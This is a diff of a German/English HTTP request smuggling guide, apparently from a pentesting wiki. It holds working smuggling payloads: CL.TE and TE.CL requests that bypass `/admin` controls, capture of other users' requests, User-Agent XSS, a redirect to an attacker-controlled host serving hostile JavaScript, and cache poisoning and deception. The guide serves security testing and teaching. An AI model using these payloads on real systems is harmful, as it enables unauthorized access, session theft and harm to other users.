- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- Sende eine HTTP/2-Anfrage. Wenn der Response-Body eine vollständige verschachtelte HTTP/1-Antwort enthält, hast du einen Backend-Parsing-/desync-Bug bewiesen statt eines reinen Client-Artefakts.
|
||||
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- Einige FEs reusen die upstream BE-Verbindung nur, wenn der Client seine wiederverwendet hat. Verwende partial-requests, um FE-Verhalten zu erkennen, das das Client-Reuse spiegelt.
|
||||
- Siehe PortSwigger "Browser‑Powered Desync Attacks" für die connection-locked Technik.
|
||||
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
|
||||
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
|
||||
4. State probes
|
||||
- Suche nach Unterschieden zwischen der ersten und nachfolgenden Anfrage auf derselben TCP-Verbindung (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" enthält eine connection‑state probe, die das automatisiert.
|
||||
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
|
||||
5. Visualize the wire
|
||||
- Verwende die Burp-Erweiterung "HTTP Hacker", um Konkatenation und Message-Framing direkt zu inspizieren, während du mit Reuse und partial requests experimentierst.
|
||||
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
Einige Front‑Ends (FEs) nutzen die upstream-Verbindung nur wieder, wenn der Client seine wiederverwendet. Echtes smuggling existiert, ist aber abhängig vom client-side reuse. Um zu unterscheiden und den Impact nachzuweisen:
|
||||
- Beweise den server-side Bug
|
||||
- Nutze den HTTP/2 nested-response check, oder
|
||||
- Verwende partial-requests, um zu zeigen, dass das FE upstream nur dann wiederverwendet, wenn der Client es tut.
|
||||
- Zeige echten Impact, auch wenn direkter cross-user socket Missbrauch blockiert ist:
|
||||
- Cache poisoning: gemeinsame Caches via desync vergiften, sodass Responses andere Nutzer betreffen.
|
||||
- Internal header disclosure: FE-injizierte Header (z. B. auth/trust headers) spiegeln und zu auth bypass pivotieren.
|
||||
- Bypass FE controls: eingeschränkte Pfade/Methoden am Front‑End vorbeischmuggeln.
|
||||
- Host-header abuse: mit Host-Routing-Quirks kombinieren, um auf interne vhosts zu pivotieren.
|
||||
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
|
||||
- Prove the server-side bug
|
||||
- Use the HTTP/2 nested-response check, or
|
||||
- Use partial-requests to show the FE only reuses upstream when the client does.
|
||||
- Show real impact even if direct cross-user socket abuse is blocked:
|
||||
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
|
||||
- Operator workflow
|
||||
- Reproduziere mit kontrolliertem Reuse (Turbo Intruder `requestsPerConnection=2`, oder Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Dann kette zu cache/header-leak/control-bypass primitives und demonstriere Cross‑User- oder authorization-Impact.
|
||||
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
|
||||
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
@ -367,9 +415,9 @@ Einige Front‑Ends (FEs) nutzen die upstream-Verbindung nur wieder, wenn der Cl
|
||||
|
||||
### Client‑side desync constraints
|
||||
|
||||
Wenn du browser-powered/client-side desync ins Visier nimmst, muss die bösartige Anfrage von einem Browser cross-origin sendbar sein. Header-obfuscation-Tricks funktionieren nicht. Konzentriere dich auf Primitives, die via navigation/fetch erreichbar sind, und pivotiere dann zu cache poisoning, header disclosure oder Front‑End‑Control-Bypass, wo nachgelagerte Komponenten Responses reflektieren oder cachen.
|
||||
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
|
||||
|
||||
Für Hintergrund und End-to-End-Workflows:
|
||||
For background and end-to-end workflows:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
@ -377,23 +425,23 @@ browser-http-request-smuggling.md
|
||||
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): zeigt low-level HTTP-Verhalten und Socket-Konkatenation.
|
||||
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: präzise Kontrolle über connection reuse via `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: enthält eine connection‑state probe, um first‑request routing/validation zu erkennen.
|
||||
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> Behandle reuse-only Effekte als unproblematisch, es sei denn, du kannst server-side desync nachweisen und einen konkreten Impact beifügen (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
|
||||
## Missbrauch von HTTP Request Smuggling
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Umgehung von Front‑End‑Sicherheit mittels HTTP Request Smuggling
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
Manchmal erzwingen Front‑End‑Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen können jedoch durch Ausnutzung von HTTP Request Smuggling umgangen werden, was unautorisierten Zugriff auf geschützte Endpunkte erlaubt. Zum Beispiel kann der Zugriff auf `/admin` extern verboten sein, wobei das Front‑End‑Proxy solche Versuche aktiv blockiert. Dennoch kann dieses Proxy es versäumen, eingebettete Requests innerhalb einer geschmuggelten HTTP-Anfrage zu inspizieren, wodurch eine Lücke zum Umgehen dieser Beschränkungen entsteht.
|
||||
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
|
||||
|
||||
Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling verwendet werden kann, um Front‑End‑Sicherheitskontrollen zu umgehen, insbesondere mit dem Zielpfad `/admin`, der typischerweise vom Front‑End‑Proxy geschützt wird:
|
||||
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||
|
||||
**CL.TE Beispiel**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -410,9 +458,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
In the CL.TE attack wird der `Content-Length` Header für die initiale Anfrage ausgenutzt, während die anschließende eingebettete Anfrage den `Transfer-Encoding: chunked` Header verwendet. Der front-end proxy verarbeitet die initiale `POST` Anfrage, prüft jedoch nicht die eingebettete `GET /admin` Anfrage, wodurch unautorisierter Zugriff auf den Pfad `/admin` möglich wird.
|
||||
Beim CL.TE-Angriff wird der `Content-Length`-Header für die initiale Anfrage ausgenutzt, während die anschließend eingebettete Anfrage den `Transfer-Encoding: chunked`-Header verwendet. Der Frontend-Proxy verarbeitet die initiale `POST`-Anfrage, prüft jedoch nicht die eingebettete `GET /admin`-Anfrage, wodurch ein unautorisierter Zugriff auf den Pfad `/admin` ermöglicht wird.
|
||||
|
||||
**TE.CL Example**
|
||||
**TE.CL Beispiel**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -428,13 +476,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Umgekehrt verwendet beim TE.CL-Angriff die initiale `POST`-Anfrage `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird anhand des `Content-Length`-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt dadurch unbeabsichtigt Zugriff auf den geschützten Pfad `/admin`.
|
||||
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
|
||||
|
||||
### Aufdecken der Front-End-Anfrageumschreibung <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Aufdecken von Frontend-Anforderungsumschreibungen <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Anwendungen setzen häufig einen **Front-End-Server** ein, um eingehende Anfragen zu verändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie etwa `X-Forwarded-For: <IP of the client>`, um die IP des Clients an das Back-End weiterzugeben. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken kann, Schutzmechanismen zu **umgehen** oder **versteckte Informationen oder Endpunkte** zu **offenbaren**.
|
||||
Applications often employ a **Front-End-Server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
|
||||
|
||||
Um zu untersuchen, wie ein Proxy eine Anfrage verändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der Sie diesen Parameter zuletzt verwenden, ähnlich der folgenden:
|
||||
To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -451,19 +499,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
In dieser Struktur werden nachfolgende request-Komponenten an `search=` angehängt, welcher Parameter in der response reflektiert wird. Diese Reflektion wird die headers der nachfolgenden request offenlegen.
|
||||
In dieser Struktur werden nachfolgende Request-Komponenten nach `search=` angehängt, dem Parameter, der in der Antwort reflektiert wird. Diese Reflektion wird die Headers der nachfolgenden Request offenlegen.
|
||||
|
||||
Es ist wichtig, den `Content-Length` header der verschachtelten request mit der tatsächlichen Inhaltslänge abzugleichen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert die request fehlschlagen lassen kann.
|
||||
Es ist wichtig, den `Content-Length` Header der verschachtelten Request an die tatsächliche Inhaltslänge anzupassen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Request einen Fehler verursacht.
|
||||
|
||||
Diese Technik ist auch im Kontext einer TE.CL vulnerability anwendbar, aber die request sollte mit `search=\r\n0` terminiert werden. Unabhängig von den Newline-Zeichen werden die Werte an das search-Parameter angehängt.
|
||||
Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Request sollte mit `search=\r\n0` enden. Unabhängig von den Newline-Zeichen werden die Werte an den search-Parameter angehängt.
|
||||
|
||||
Diese Methode dient hauptsächlich dazu, die von dem front-end proxy vorgenommenen request-Änderungen zu verstehen und damit im Grunde eine selbstgeleitete Untersuchung durchzuführen.
|
||||
Diese Methode dient hauptsächlich dazu, die vom front-end proxy vorgenommenen Request-Modifikationen zu verstehen und damit im Wesentlichen eine selbstgesteuerte Untersuchung durchzuführen.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Requests anderer Benutzer erfassen <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Es ist möglich, die requests des nächsten Benutzers zu erfassen, indem man während eines POSTs eine bestimmte request als Wert eines Parameters anhängt. So kann das erreicht werden:
|
||||
Es ist möglich, die Requests des nächsten Benutzers zu erfassen, indem man während einer POST-Operation eine spezifische Request als Wert eines Parameters anhängt. So kann das erreicht werden:
|
||||
|
||||
Indem man die folgende request als Wert eines Parameters anhängt, kann man die anschließende client request speichern:
|
||||
Indem man die folgende Request als Wert eines Parameters anhängt, kann man die Request des nachfolgenden Clients speichern:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -483,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
In diesem Szenario ist der **Kommentar-Parameter** dafür vorgesehen, den Inhalt des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der anschließenden Anfrage als Kommentar.
|
||||
In diesem Szenario ist der **comment parameter** dafür vorgesehen, den Inhalt des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der anschließenden Anfrage als Kommentar.
|
||||
|
||||
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parametertrennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des betroffenen Nutzers am ersten `&` endet, das sogar Teil des Query-Strings sein kann.
|
||||
Allerdings hat diese Technik Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parametertrennzeichen, das in der smuggled request verwendet wird. Bei URL-encoded Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opferbenutzers am ersten `&` endet, der sogar Teil der query string sein kann.
|
||||
|
||||
Außerdem ist erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle funktioniert. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Newline-Zeichen werden die Werte an den search-Parameter angehängt.
|
||||
Außerdem ist erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle funktioniert. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von newline characters werden die Werte dem search parameter angehängt.
|
||||
|
||||
### Verwendung von HTTP request smuggling zum Ausnutzen von Reflected XSS
|
||||
### Verwendung von HTTP request smuggling zur Ausnutzung von Reflected XSS
|
||||
|
||||
HTTP Request Smuggling kann eingesetzt werden, um Webseiten mit einer Verwundbarkeit gegenüber **Reflected XSS** auszunutzen. Das bietet bedeutende Vorteile:
|
||||
HTTP Request Smuggling kann genutzt werden, um Webseiten mit **Reflected XSS** anzugreifen, und bietet dabei erhebliche Vorteile:
|
||||
|
||||
- Eine Interaktion mit den Zielnutzern ist **nicht erforderlich**.
|
||||
- Ermöglicht die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise nicht zugänglich** sind, wie z. B. HTTP request headers.
|
||||
- Eine Interaktion mit den Zielbenutzern ist **nicht erforderlich**.
|
||||
- Es erlaubt die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise nicht erreichbar** sind, wie z. B. HTTP request headers.
|
||||
|
||||
In Szenarien, in denen eine Website gegenüber Reflected XSS über den User-Agent header verwundbar ist, zeigt das folgende payload, wie diese Schwachstelle ausgenutzt werden kann:
|
||||
In Szenarien, in denen eine Website gegenüber Reflected XSS über den User-Agent header verwundbar ist, demonstriert das folgende payload, wie diese Schwachstelle ausgenutzt werden kann:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -517,36 +565,36 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
This payload ist so strukturiert, dass es die Verwundbarkeit ausnutzt durch:
|
||||
This payload is structured to exploit the vulnerability by:
|
||||
|
||||
1. Initiieren eines `POST` Requests, scheinbar typisch, mit dem Header `Transfer-Encoding: chunked`, um den Beginn des Smuggling anzuzeigen.
|
||||
2. Gefolgt von einem `0`, das das Ende des chunked Message-Bodys markiert.
|
||||
3. Danach wird ein eingeschmuggelter `GET` Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript injiziert wird, `<script>alert(1)</script>`, welches das XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
|
||||
Durch die Manipulation des `User-Agent` mittels Smuggling umgeht das payload normale Anfragebeschränkungen und nutzt so die Reflected XSS Vulnerability auf eine nicht-standardmäßige, aber effektive Weise.
|
||||
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Falls der Nutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** reflektiert wird, verhindert das die Ausführung des XSS. Unterstützt der Server jedoch **HTTP/0.9**, könnte es möglich sein, dies zu umgehen!
|
||||
> Falls Benutzereingaben in einer Antwort mit einem **`Content-type`** wie **`text/plain`** reflektiert werden, verhindert das die Ausführung des XSS. Unterstützt der Server **HTTP/0.9**, könnte dies jedoch umgangen werden!
|
||||
|
||||
Die Version HTTP/0.9 erschien vor 1.0 und verwendet nur **GET**-Verben und antwortet **nicht** mit **Headers**, sondern nur mit dem Body.
|
||||
Die Version HTTP/0.9 war der Vorgänger von 1.0 und verwendet nur **GET**-Verben und antwortet **nicht** mit **headers**, sondern nur mit dem body.
|
||||
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python) wurde dies mittels request smuggling und einem verwundbaren Endpoint ausgenutzt, der die Eingabe des Nutzers zurückgibt, um eine Anfrage mit HTTP/0.9 einzuschmuggeln. Der in der Antwort reflektierte Parameter enthielt eine **fake HTTP/1.1 response (with headers and body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python) wurde dies mit request smuggling ausgenutzt, wobei ein **vulnerabler Endpoint, der mit der Eingabe des Benutzers antwortet**, genutzt wurde, um eine Anfrage im HTTP/0.9-Format einzuschleusen. Der Parameter, der in der Antwort reflektiert wurde, enthielt eine **fake HTTP/1.1 response (with headers and body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
|
||||
|
||||
### Ausnutzen von On-site-Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Ausnutzen von On-site Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Redirect-URL verwenden. Das ist üblich bei Webservern wie Apache und IIS. Zum Beispiel führt das Anfordern eines Ordners ohne abschließenden Slash zu einer Weiterleitung, die den Slash hinzufügt:
|
||||
Anwendungen leiten häufig von einer URL zu einer anderen weiter, indem der Hostname aus dem `Host`-Header in der Redirect-URL verwendet wird. Das ist üblich bei Webservern wie Apache und IIS. Fordert man z. B. ein Verzeichnis ohne abschließenden Slash an, führt das zu einem Redirect, der den Slash ergänzt:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
Ergibt:
|
||||
Führt zu:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Obwohl es harmlos erscheint, kann dieses Verhalten mit HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
|
||||
Obwohl es auf den ersten Blick harmlos wirkt, kann dieses Verhalten mit HTTP request smuggling ausgenutzt werden, um Benutzer auf eine externe Website umzuleiten. Zum Beispiel:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -572,17 +620,17 @@ Ergibt:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei entführt. Der Angreifer kann den Benutzer potenziell kompromittieren, indem er als Antwort bösartigen JavaScript-Code ausliefert.
|
||||
In diesem Szenario wird die Anfrage eines Nutzers nach einer JavaScript-Datei abgefangen. Der Angreifer kann den Nutzer potenziell kompromittieren, indem er bösartigen JavaScript-Code zurückliefert.
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Ausnutzen von Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Frontend-Infrastruktur Inhalte zwischenspeichert**, typischerweise zur Leistungsverbesserung. Durch Manipulation der Serverantwort ist es möglich, **poison the cache**.
|
||||
Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte zwischenspeichert**, typischerweise zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, den Cache zu **poison the cache**.
|
||||
|
||||
Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass ein 404 error zurückgegeben wird (siehe [Basic Examples](#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` auszuliefern. Infolgedessen wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, womit `/static/include.js` für Benutzer unzugänglich wird und dies möglicherweise zu einem Denial of Service (DoS) führt.
|
||||
Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass ein 404-Fehler zurückgegeben wird (siehe [Basic Examples](#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, `/index.html`-Inhalt als Antwort auf eine Anfrage für `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Nutzer unzugänglich wird und potenziell zu einem Denial of Service (DoS) führt.
|
||||
|
||||
Diese Technik wird besonders wirkungsvoll, wenn eine **Open Redirect vulnerability** entdeckt wird oder wenn es einen **on-site redirect to an open redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von `/static/include.js` durch ein vom Angreifer kontrolliertes Script zu ersetzen und damit einen großflächigen Cross-Site Scripting (XSS)-Angriff gegen alle Clients zu ermöglichen, die das aktualisierte `/static/include.js` anfordern.
|
||||
Diese Technik wird besonders gefährlich, wenn eine **Open Redirect vulnerability** entdeckt wird oder wenn es eine **on-site redirect to an open redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von `/static/include.js` durch ein Skript des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die die aktualisierte `/static/include.js` anfordern.
|
||||
|
||||
Im Folgenden eine Darstellung der Ausnutzung von **cache poisoning combined with an on-site redirect to open redirect**. Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code ausgeliefert wird, der vom Angreifer kontrolliert wird:
|
||||
Nachstehend eine Illustration, wie **cache poisoning combined with an on-site redirect to open redirect** ausgenutzt werden kann. Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu verändern, dass JavaScript-Code des Angreifers ausgeliefert wird:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -600,20 +648,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Beachte die eingebettete Anfrage, die auf `/post/next?postId=3` zielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host header value** zur Bestimmung der Domain verwendet wird. Durch Ändern des **Host header** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).
|
||||
Beachte die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird an `/post?postId=4` umgeleitet, wobei der **Host header value** zur Bestimmung der Domain verwendet wird. Durch Ändern des **Host header** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).
|
||||
|
||||
Nach erfolgreichem **socket poisoning** sollte eine **GET request** für `/static/include.js` gestartet werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
|
||||
Nach erfolgreichem **socket poisoning** sollte eine **GET request** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und lädt den Inhalt des vom Angreifer kontrollierten Scripts.
|
||||
|
||||
Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers ausliefern und damit effektiv einen weitreichenden XSS-Angriff starten.
|
||||
Anschließend liefert jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Scripts des Angreifers und startet damit effektiv einen weitreichenden XSS-Angriff.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Verwendung von HTTP request smuggling zur Durchführung von web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Was ist der Unterschied zwischen web cache poisoning und web cache deception?**
|
||||
>
|
||||
> - In **web cache poisoning**, der Angreifer bewirkt, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwender der Anwendung ausgeliefert.
|
||||
> - In **web cache deception**, der Angreifer bewirkt, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
|
||||
> - In **web cache poisoning**, der Angreifer veranlasst die Anwendung, bösartigen Inhalt im Cache zu speichern, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
|
||||
> - In **web cache deception**, der Angreifer veranlasst die Anwendung, sensible Inhalte eines anderen Benutzers im Cache zu speichern, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
|
||||
|
||||
Der Angreifer erstellt eine smuggled request, die sensible, benutzerspezifische Inhalte abruft. Betrachte das folgende Beispiel:
|
||||
Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible, benutzerspezifische Inhalte abruft. Betrachten Sie folgendes Beispiel:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -624,17 +672,17 @@ Der Angreifer erstellt eine smuggled request, die sensible, benutzerspezifische
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Wenn diese eingeschmuggelte Anfrage einen für statische Inhalte gedachten Cache-Eintrag (z. B. `/someimage.png`) vergiftet, könnten die sensiblen Daten des Opfers von `/private/messages` unter dem Cache-Eintrag der statischen Inhalte gespeichert werden. Folglich könnte der Angreifer möglicherweise auf diese zwischengespeicherten sensiblen Daten zugreifen.
|
||||
Wenn diese smuggled request einen cache entry vergiftet, der für static content vorgesehen ist (z. B. `/someimage.png`), könnten die sensitive data des victims von `/private/messages` unter dem cache entry des static content zwischengespeichert werden. Folglich könnte der attacker diese zwischengespeicherten sensitive data abrufen.
|
||||
|
||||
### Missbrauch von TRACE mittels HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
